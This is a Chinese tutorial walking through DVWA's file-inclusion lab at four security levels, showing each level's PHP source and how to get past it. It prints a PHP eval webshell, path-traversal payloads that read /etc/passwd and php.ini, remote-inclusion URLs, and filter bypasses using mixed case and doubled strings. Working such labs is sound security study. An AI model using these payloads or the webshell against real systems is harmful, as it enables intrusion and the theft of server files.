前言
File Inclusion,意思是文件包含(漏洞),是一种代码处理方式,当一个代码文件想要引用另外一个代码文件,就要用到包含。当服务器开启allow_url_include选项时,就可以通过php的某些特性函数(include(),require()和include_once(),require_once())利用url去动态包含文件,此时如果没有对文件来源进行严格审查,就会导致任意文件读取或者任意命令执行。文件包含漏洞分为本地文件包含漏洞与远程文件包含漏洞,远程文件包含漏洞是因为开启了php配置中的allow_url_fopen选项(选项开启之后,服务器允许包含一个远程的文件)。
Low
源码审查
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
?>
服务器对page参数没有做任何过滤检查
服务器期望用户的操作是点击上面的三个链接,服务器会包含相应的文件,并将结果返回。需要特别说明的是,服务器包含文件时,不管文件后缀是否是php,都会尝试当做php文件执行,如果文件内容为php,则会正常执行并返回结果;如果不是,则会原封不动地打印文件内容,所以文件包含漏洞常常会导致任意文件读取与任意命令执行。
漏洞利用
0x01 分析
尝试修改参数为test.php看一下,发现什么都没有
说明这个参数可以利用,盲猜这三个php文件是在一个目录里边的,应该是这样
因此我们想要包含跟目录里边的php.ini文件,就要跳转到上两级目录
读取www\DVWA\php.ini include(“www\DVWA\php.ini”) include(“www\DVWA\vulnerabilities\fi../../php.ini”)
发现allow_url_include和allow_url_fopen是开着的,因此进行远程文件执行
0x02 远程文件执行
在自己的服务器上放置一个phpinfo.txt文件或者是一句话木马都可以,然后进行远程包含,只要后缀改为php就可以执行,但是如果是非php文件,只要文件里为php格式的代码就可以执行。我们要清楚远程的执行不是在攻击者的web服务器上执行,而是在受害者web服务器上执行命令,所以phpinfo.txt才是正经。
//一句话木马
<?php @eval($_POST['cmd']); ?>
//phpinfo
<?
phpinfo();
?>
PS:下面这是在谜团靶场执行靶场的phpinfo()
http://340d990415234f43a620e1071184f98d.app.mituan.zone/vulnerabilities/fi/?page=http://340d990415234f43a620e1071184f98d.app.mituan.zone/phpinfo.php
Medium
源码审查
将输入的url参数中包含的“http://”、“https://”, “. . /” , “. . ““等字符串替换成空的字符串, 即过滤了远程文件包含, 对于绝对路径和本地文件包含并没有任何过滤。当然也可以用大小写或者双写的方式绕过。
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Input validation
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\"" ), "", $file );
?>
攻击方式
构造payload
page=/etc/passwd
page=hTTp://www.baidu.com
page=hthttp://tp://www.baidu.com
High
源码审查
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Input validation
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
// This isn't the page we want!
echo "ERROR: File not found!";
exit;
}
?>
构造payload
http://aac53b825fac44e39d4d050d00135c36.app.mituan.zone/vulnerabilities/fi/?page=file:///etc/apache2/apache2.conf
http://aac53b825fac44e39d4d050d00135c36.app.mituan.zone/vulnerabilities/fi/?page=file4.php
http://aac53b825fac44e39d4d050d00135c36.app.mituan.zone/vulnerabilities/fi/?page=fileabc../../../../../../../etc/passwd
impossible
源码审查
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Only allow include.php or file{1..3}.php
if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" ) {
// This isn't the page we want!
echo "ERROR: File not found!";
exit;
}
?>
给了指定的访问页面,无法文件包含